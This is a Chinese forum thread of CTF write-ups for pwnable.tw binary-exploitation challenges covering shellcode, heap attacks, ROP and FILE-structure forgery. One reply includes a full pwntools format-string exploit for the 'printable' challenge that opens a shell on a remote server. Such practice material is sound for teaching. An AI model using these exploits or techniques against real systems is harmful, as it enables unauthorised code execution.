有的题还是比较有意思的
(建议做了再看~)
传送门

Start

没什么好说的,网上随便找个shellcode
exp: https://paste.ubuntu.com/p/4FXP3Drhnd/

orw

也是写shellcode,不过限制了syscall只能open, read, write,提示已经好明显了,就是先open打开文件拿到文件的fd,然后用read和fd把文件内容先读到一块地方(如.bss),最后用write把这个地方的东西打印到stdout。有一点要注意的是read和write时的长度要大一点,不然程序会crash。

网上找不到现成的,只能自己写了。。。
exp: https://paste.ubuntu.com/p/kh69RDfZ98/
(exp上面有个test是本地测试是自己弄的文件夹,因为不想在自己电脑上的home目录里建文件夹)

不过这题比较有意思的一点是限制syscall的方式。在题目的orw_seccomp函数里调用了prctl函数。

根据这里说的,prctl函数(好像是关于进程操作的函数?)通过第一个参数指定操作的类型,类型是PR_SET_SECCOMP的话会使线程进入“安全模式”(好像叫seccomp),在这种模式下syscall被限制。

calc

这题搞了一个简单而且还会算错的计算器,除了静态编译比较麻烦之外,洞其实还算好找的(吧)。calc的做法基本就是通过get_expr读算式(放到buffer里),然后通过parse_expr把运算结果(和一些中间结果)放到一个pool的结构(第一个int是记录长度,后面100个int是放数)里面。parse_expr的做法大概是遍历buffer,把数字存pool,遇到运算符的话就用一个叫eval的函数做运算。(中间有些优先级的处理没详细看 - -)

漏洞就在eval里,里面有个数组越界(underflow)的漏洞,控制一下buf的length到1的话就会变成"pool->buf[-1] += pool->buf[0]",pool->buf[-1]就是length,在这个时候是0,所以可通过 pool->buf[0]控制pool的length。

然后在parse_expr里面有有个这样的东西,count因为length被控制了所以就被控制了,count被控制了就可以往任意的地址写入num。

问题是num怎么被控制,后来发现算式如果第一个字符是运算符的话会有点问题,最终就构造了这样"+bias+value"的一个表达式,可以往(base_aderess+bias)的地址上写(value)这个值。最后写个rop就搞定了。不过还有一点要注意的是不能写0,但可以通过写1再dec来绕过。

exp: https://paste.ubuntu.com/p/pPdyCkgsXP/

3x17

题目的3x17是什么意思我到现在都搞不明白 - -。静态编译加stripped看着有点难受,把题逆完之后知道只有一个main函数,可以输入一个地址,然后往这个地址写东西(3 bytes),还有个奇怪的count。

没有信息泄漏,不知道要写什么- -,后来在@Potatso 那里听说了_fini_array这个东西,就是程序在结束前会经过一个叫_libc_csu_fini的函数,这个函数会取_fini_array里面的函数(函数指针)出来执行,然后才让程序结束。

所以通过修改_fini_array的函数就可以在main函数后多执行两个函数(因为有个v0限制),本来想如果写个main函数在_fini_array的话就可以返回main实现无数次写了,但main里面有个count限制。后来发现可以第一个函数写main,第二个函数写_libc_csu_fini的话就可以无数次进入main函数,让count溢出变回1。(有一点要注意的是_fini_array里面的函数是逆序执行的)。

所以就实现了无数次的任意位置写,于是就想写个rop,但不知道写哪里。后来发现在执行_fini_array前的rbp就是指向_fini_array(0x4b40f0)的,所以就往这里写了个"leave",然后栈被移到0x4b40e8,在0x4b40e8放个"add rsp,0x18"的rop的话,0x4b4100后面就可以放个rop chain了。后来这么做是成功了,最后的rop:

exp: https://paste.ubuntu.com/p/z43S4C7KnK/

dubblesort

实际上就是个bubble sort,输入排序数字的数量,然后输入数字,输出排序结果。

开局输个名字送libc_base:

这题利用技巧在于输入非数字的话会输入不成功,结果是用栈上的东西来排序。加上有栈溢出漏洞,就可以构造特定的ROP了。(由于有排序,会对ROP有一定要求,但是libc里面有大量的ROP,构造还是不太难的)

exp: https://paste.ubuntu.com/p/FrRw5c8R2y/

hacknote

堆的题目,思路是fastbin attack。每一条note存放了一个输出函数的指针和数据的指针(空间在栈上分配),那个输出的函数怎么看都是故意放上去的,所以很容易可以想到通过fastbin attack改变这个函数指针到system函数然后getshell。

做fastbin attack时要覆盖note块的话就数据块大小就需要跟note块大小一样(0x10,大概是12bytes以下吧),但这样会因为偶数的关系做不了fastbin attack,所以有一个trick就是中间分配一个数据块大于0x10的note隔开变成奇数(这样讲有点迷,看wp吧- -)。heap_base可以容易泄漏出来,libc_base的话可以通过把数据的指针写成.got表地址,然后打印note泄漏。

最后system函数调用时栈上的情况如下,所以第一个参数会是输出函数被覆盖成system函数的那个块的地址,这里有一个trick是可以通过构造一个“或”的表达式来绕过,如“xxxx||/bin/sh”,但这里长度只够输“sh”,虽然最后是成功了,但好像还是有点悬。


exp: https://paste.ubuntu.com/p/BXZWmmwRQT/

Silver Bullet

这题好像是一个游戏,什么鬼升级子弹然后把狼人射死?

漏洞在于power_up里的strncat函数,根据文档介绍,strncat在复制字符串后会在末尾补\x00,所以就形成了一个字节的溢出。而这里溢出的刚好把power覆盖了(power控制可以继续输入多少的description),然后就可造成更多的溢出。最后写个ROP就搞定了。(因为这里溢出的还是比较少的,所以可以先做个read来写入较长的ROP,然后leave ret到写入的ROP那里。另外,把power覆盖成很大的值可实现一键秒杀)

exp: https://paste.ubuntu.com/p/hjCJK9JqWs/

applestore

这题模拟了一个applestore(大雾),买满7174刀可以用1刀的价格换一台iphone8(而且还是强制的- -)。购物车是个双向链表,结构大概是:

漏洞点还挺明显的,就在checkout时的这个一刀换购里,送的iphone8是在栈里的,所以相当于有了一个可操控(但有些难用)的栈指针。当时找了很久到找不到在哪可以利用,后来瞄了一下别人的wp后才知道在delete的read可以覆盖这个iphone8的位置。

所以构造一下假的chunk,通过覆盖name的位置为想读信息的地址可以实现任意读(next和last写成0,不然会crash),本来打算栈地址可以通过tls得到的,但发现服务器的tls地址跟我本地的不一样...,后来才知道libc里面是放着environ的,通过environ可以得到栈的地址。

写的话可以通过delete里的unlink来写,学到了新的方法——通过unlink覆盖ebp。

exp: https://paste.ubuntu.com/p/Dz6DF6ZTk8/

Tcache Tear

给的库是2.27的,根据题目名知道应该是tcache方面的漏洞(堆题),题目逻辑挺简单的就不贴IDA了。
首先贴一下Tcache有关的教程(我认为比较全的)。

这题有个比较难搞的是"Info"那里只能输出开始时输入的"Name"位置的0x20个字符(.bss),这里可以先在填Name时制造一个0x420的fake_chunk(分配到unsorted bin的大小),通过两次free把tcache的fd指到name里,然后free掉刚制造的fake_chunk,因为要解决unlink时错误的问题,还要把free的chunk的邻近的chunk也假造一下(具体看exp)

另外制造假chunk时还要用到一个漏洞,在malloc里的输入大小是"size - 16",存在一个整数溢出,当size小于16时就可以输入任意大小了。free unsorted bin的chunk后可以通过Info泄漏libc的base。

然后本来是打算覆写atoll的got地址的,后来卡了很久才发现是"Full RELRO" - -,那就只能写malloc_hook或者free_hook了,malloc_hook的话因为one gadget条件不行就弃用了,free_hook刚好有一个符合的,然后就getshell了。

exp: https://paste.ubuntu.com/p/2GfwrZkqQw/

seethefile

我觉得他已经暗示了这是道IO_file的题目了... 可以进行几种文件操作(打开、读取、写到屏幕、关闭),最后的关闭程序时有个溢出漏洞,可以通过name的溢出覆盖文件的fp,伪造假的_IO_FILE_plus结构就可getshell (说是这么简单。。。),这题有几个放水的地方,一个是PIE是关闭的,所以bss段的地址已知,写在bss上的东西就可以直接用了;一个是程序把几个变量都放在了bss段,这样才会有上面说的溢出(好像那两东西不放bss也不行hhhh);一个是可以读处flag(做了某些过滤)以外的文件,读一下/proc/self/maps就可以拿到libc的基址。(反正就是道挺好的IO_file的练手题了)

IO_file网上也有很多教程,这里水过一下就算了(懒 - -),首先上面说了可以伪造一个_IO_FILE_plus结构体,伪造结构体主要造一下_IO_FILE_plus.vtable就行,vtable是一个(const struct _IO_jump_t)类型的结构体(据说跟C++的重载函数差不多),里面记录了一些文件操作相关的函数位址,通过覆盖/伪造里面的函数地址(比如改成system)就可以达到控制程序流的目的。然后据说vtable里面的函数的第一个参数是这个_IO_FILE本身【比如close的定义:JUMP_FIELD(_IO_close_t, __close);】,所以如果改成system的话把'/bin/sh\x00'放在伪造的结构体的头部就好了。

另外,在实践中发现在fclose中执行到【_IO_acquire_lock (fp);】这个地方程序会死掉,后来参考了yuuoniy的wp才知道要造一个假的lock (wtcl- -),然后因为lock的结构跟IO_file的差不多所以可以直接用伪造的结构体放在lock的位置(具体看ta的wp 8)。

最终造出来的_IO_FILE_plus

最终造出来的_IO_jump_t (vtable)

exp: https://paste.ubuntu.com/p/Y4nGyvx7kR/
getshell后好像因为权限问题,要通过里面提供的get_flag程序来拿flag,反正源码都给了,这里就不多说了 (逃

Death Note

Death Note好像是一部挺老的漫画了,好像是把谁的名字写到笔记上去那个人就会死掉(与题目无关hhhh)

题目已经提示了要写shellcode了,checksec发现有rwx的区域,程序的.bss和堆上都是rwx的(最终的选择是写在堆上,因为输入的name放在了堆)。代码中还有个is_printable函数(对,题目很好心的给了符号),提示要alpha_numeric的shellcode,而且长度限制80bytes以下,网上找了一堆不是长度太长就是不能用的,最后还是自己写了(顺便当练习。

写shellcode前首先要找到可以执行shellcode的地方,程序中几个操作里都有一个id的检查,说id不能超过10,但是没有检查下限,所以输入负数的话会触发underflow漏洞。

输入的id是作为note的下标,note有恰好在.bss上,所以选择适当的id就可以覆盖.got表的值,exp选择了free,因为free的参数就是某个堆块的地址,这样方便写shellcode。

接下来就是shellcode部分,alpha_numberic的shellcode写法在winesap的视频中有详细的说明,可以参照一下。这里的大概就是:首先call free时eax是堆上一个块,加0x10后就是shellcode的基址,exp存到了edi中;通过某些神奇的操作可以得到0,方法不唯一,exp存到了esi寄存器中;通过‘xor BYTE PTR [edi+0x37], al’指令可以修改shellcode的值,从而构造出'int 80'指令;通过xor的操作可以构造出不是alpha_numberic的参数,其中通过xor 0xff可以构造比较大的数,因为0xff可以通过'dec esi'即零减一得到,比较方便。然后最终构造出来的shellcode也就56bytes - -

exp: https://paste.ubuntu.com/p/WMDWnSSbPt/

Starbound

startbound好像是一个游戏,题目程序就是个命令行版的(感觉就是个2D版的MC),因为是个真正可以玩的游戏所以要逆向的工作量会有点大,当时花了一段时间逆了大部分后才发现漏洞就在main函数里。

首先要说一下程序的菜单功能,图中的menu_now(名字是我乱取的)其实是个全局的函数指针,会有别的函数设置这个变量来显示不同的菜单;同样menu_option_now(名字也是我乱取的)是当前菜单对应的几个功能的函数指针,这里的index其实有个挺明显(但不知道为什么我一开始没发现)的溢出,输入10以上或负数可以执行别的函数,因为是bss上的,所以负数的话刚好可以执行玩家name的地方,name可以在setting里设置,可设置成ROP或程序自带的函数。

本来这种情况最简单的做法就是one_gadget了,但题目没有给libc,于是想到另一个方法(解法应该不唯一),先执行一个"add esp, 0x1c"的ROP打乱stack,再使nptr造成溢出用常规的栈溢出方法来做。其实写ROP时也需要用到libc的,可以用DynELF泄露,但更简单的方法是查libc_database

exp: https://paste.ubuntu.com/p/kFgjY66594/

BabyStack

实际上就是个栈溢出,不过覆盖ret value要绕过几个限制。

首先是登录,而且有一个magic copy的功能需要先登录成功才能进入。登录的话会把输入的密码和一串16bytes的随机密钥进行对比,在对比时用了strncmp函数,所以如果输回车的话可以直接登录成功。利用一下strncmp还可以进行密钥的爆破(程序的初始化中alarm了半个小时应该也暗示了要爆破的了),要爆破密钥是因为main退出时会检查密钥有没被更换,有的话会触发__stack_chk_fail,跟canary一样。除了密钥能爆破外,爆破一下16bytes密钥后面的内容可以拿到程序基址,方便写ROP。

然后是magic copy,里面用到了个不怎么安全的strcpy函数,而它的dest是main函数的一个buffer(局部变量,64bytes,栈上),src是这个函数里的局部变量而且有128bytes,所以可以造成main函数的栈溢出。但magic copy函数里只能输入63bytes,所以ROP其实是登录的函数里输的,利用登录函数返回后栈没有被清掉。

然后就是普通的栈溢出做法了。因为main只能溢出3句ROP,23个bytes(而且我自己操作时不知道为什么会被零截断),所以可以利用一下rdi保留的栈地址和程序自带的输入函数(大概是像readn那样的那个)来输入更长的ROP。

exp: https://paste.ubuntu.com/p/62zfW6n2WM/
(这应该是我跑得最久的exp了 - -)

Spirited Away

一道看似是堆题的栈溢出题(而且canary也是关的),是一个写影评的程序(?),只有一个函数,漏洞就是在survey函数中输出已经有多少条评论时用到了sprintf函数,由于buf大小是56bytes,如果cnt是三位数的话会造成buf溢出了一位,刚好会把'n'覆盖到name和comment读入时设定的大小的那个变量(叫它nclen吧- -),所以name和comment的输入大小从60变成了110,造成了栈上的溢出。

另外,刚开始时由于comment和reason(就是放评论和原因的那两个变量)在栈上,而且输入的时候末尾没有设置0,巧妙利用一下可以泄露栈地址和libc基址。在comment溢出后,可以覆盖到name的指针前泄露heap基址(虽然后来发现这个没什么用- -)。

由于reason的读入大小是由另一个变量控制的,所以不能直接控制reason溢出(reason是最后一个,溢出才能覆盖返回地址),因为栈地址可以泄露出来,所以想到可以在reason里造一个假堆块,然后覆盖name指针到这个假块,最后free-malloc就把name变到reason里了,由于name的读入大小也改了,所以读入name就可以造成stack overflow。给了库其实可以直接one_gadget的,但远程泄露libc_base时被坑了一下,栈上选了几个才能用,还以为是one_gadget出问题了,才搞了普通ROP(- -)。

exp: https://paste.ubuntu.com/p/3KfTFWFpMb/

Secret Garden

堆题。在remove那里free掉name后没有置0,所以可以造成double free,感觉做法应该不唯一,我用的是fastbin attack的做法。

首先fastbin attack可以泄露堆地址,再来一个unsortedbin或smallbin的可以泄露libc基址,用fastbin attack可以改掉堆上某个flower的name指针,造成任意位置的读,可以读libc上environ的stack地址,然后读栈上的内容就可以读到各种东西了。最后在raise函数的栈里找个合适的地方,malloc一个fastbin大小的块就可以造成栈溢出覆盖返回地址,然后one_gadget get shell。

还有,由于用的时libc2.23,找大小时可以错位,由于64位程序的栈地址和libc地址开头都是0x7f,所以选择大小时0x70的块最合适,还有chunk的大小是int类型的,所以看4个bytes就好了,实际操作中发现想写的地方最后一个byte是随机的,需要一点运气才能跑出来,反正就是不知道怎么的就搞出来了 - -

exp: https://paste.ubuntu.com/p/DND5mn586W/

才搞了十五题,还是太菜了啊

流下没技术的眼泪.jpg

10 天 后

exit的利用除了3x17那个以外 还有很多 比如劫持__libc_atexit 劫持 tls_dtor_list 等等 推荐做一下我师傅的unprintable以及pwnable.tw的printable printable暂时网上没有公开的wp 我说一下大概思路,虽然stdout被close,但是stderr还在,通过partial overwrite stdout指针成stderr,可以恢复正常的输出功能,同时还要改一下flag,不然好像会有bug,然后泄露地址rop,格式化串是真tm难调试。。。。unprintable则更为巧妙,不过这个网上exp很多,自己找
printable exp:

#!/usr/bin/python
#coding:utf-8

from pwn import *
#context.log_level="debug"
debug=0
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def write_data(s,addr):
    payload=""
    j=0
    count=0x925+3
    i=0
    while(s!=0):
        if (count%0x100 > s&0xff):
            j=0x100-count+s&0xff
        elif count%0x100 == s&0xff:
            continue
        else:
            j=s&0xff-(count%0x100)
        count+=j
        payload+="%"+str(j).rjust(3,"0")+"c"+"%"+str(i+22+2)+"$hhn"
        s>>=8
        i+=1
    length=len(payload)/8
    for i in range(length):
        payload+=p64(bss+i)
    return payload

def write_byte(s,addr):
    count=0x925+3
    if ((count%0x100) > (s&0xff)):
        j=0x100-(count%0x100)+(s&0xff)
    elif count%0x100 == s:
        j=0
    else:
        j=(s&0xff)-(count%0x100)
    payload="%"+str(j).rjust(3,"0")+"c"+"%"+str(17)+"$hhnAAAA"
    payload+=p64(addr)
    return payload
libc=ELF("./libc_64.so.6")
for i in range(160):
    if debug:
        p=process("./printable.bak",env={"LD_PRELOAD":"./libc_64.so.6"})
        #libc=ELF("./libc_64.so.6")
        #gdb.attach(p)
    else:
        p=remote("139.162.123.119",10307)
        #libc=ELF("./libc_64.so.6")

    print i
    p.recvuntil("Input :")
    p.send("%0584c%42$hnAAA"+"%1754c%14$n"+"%0027c%15$hhn"+"%0256c%16$hn%0021c%17$hhn"+p64(0x601000)+p64(0x601002)+p64(0x601020)+p64(0x601021))
    #sleep(0.1)
    #p.send(("%0064c%9$hn%0069c%10$hhn%p"+p64(0x601020)+p64(0x601021))) 
    p.send("%23$p%32$p%"+str(2313)+"c%23$hhn\x00")
    try:
        s=p.recv(1024,timeout=0.5)
        if s!=null and "Segmentation" not in s:
            stack=int(s[:14],16)
            bss=0x601120
            #stack=bss
            libc_addr=int(s[14:],16)-0x39ff8
            print hex(stack)
            print hex(libc_addr)
            #one_gadget=libc_addr+0x4526a
            system=libc_addr+libc.symbols["system"]
            binsh=libc_addr+libc.search("/bin/sh").next()
            prdi=0x00000000004009c3
            prsp=0x00000000004009bd
            flag=0xfbad2887
            stderr=libc_addr+libc.symbols["_IO_2_1_stderr_"]
            for i in range(2):
                p.send(("%"+str(0x925)+"c%23$hhnAAA"+write_byte((flag>>8*i)&0xff,stderr+i)).ljust(0x28,"A")+p64(prdi)+p64(binsh)+p64(system))
            for i in range(1,2):
                p.send(("%"+str(0x925)+"c%23$hhnAAA"+write_byte((flag>>8*i)&0xff,stderr+i)).ljust(0x28,"A")+p64(prdi)+p64(binsh)+p64(system))
            for i in range(6):
                p.send(("%"+str(0x925)+"c%23$hhnAAA"+write_byte((prsp>>8*i)&0xff,stack+8+i)).ljust(0x28,"A")+p64(prdi)+p64(binsh)+p64(system))
                p.recvuntil("AAA")
            '''
            for i in range(3):
                p.sendline("%"+str(0x925)+"c%23$hhnAAA"+write_byte((prdi>>8*i)&0xff,bss+i)+"\x00")
                print p.recv(1024)
            for i in range(6):
                p.sendline("%"+str(0x925)+"c%23$hhnAAA"+write_byte((binsh>>8*i)&0xff,bss+8+i)+"\x00")
                print p.recv(1024)
            for i in range(50):
                p.sendline("%23$p%32$p%"+str(2313)+"c%23$hhn\x00")    
            for j in range(6):
                p.sendline("%"+str(0x925)+"c%23$hhnAAA"+write_byte((system>>8*j)&0xff,bss+0x10+j)+"\x00"*2)
                print p.recv(1024)
            '''
            for i in range(6):
                p.send(("%"+str(0x925)+"c%23$hhnACA"+write_byte(((stack+0x50)>>8*i)&0xff,stack+0x10+i)))
                p.recvuntil("ACA")
            #print p.recv()
            #gdb.attach(p)
            p.sendline("%"+str(0x9dc)+"c%23$hhn\x00")
            p.interactive()
            break
    except:
        pass
    finally:
        p.close()

'''

    25 天 后

    Potatso 你好,我做printable这题时卡在ROP回main时无法继续跳回main,好像是后面run_exit_handler, cur->idx == 0的问题导致不会再call一次。
    我跑了你的exp但好像也无法,可以跟你请教一下吗?谢谢~

      cici30725 cur->idx为1吧 我试了一下没问题啊 exit之后进入dl_fini就能跳回main了呀 会不会是libc版本不对?libc应该是2.23哦

      11 天 后
      0x0001 更改标题为「pwnable.tw部分writeup(不定期更新)

      © 2018-2025 0xFFFF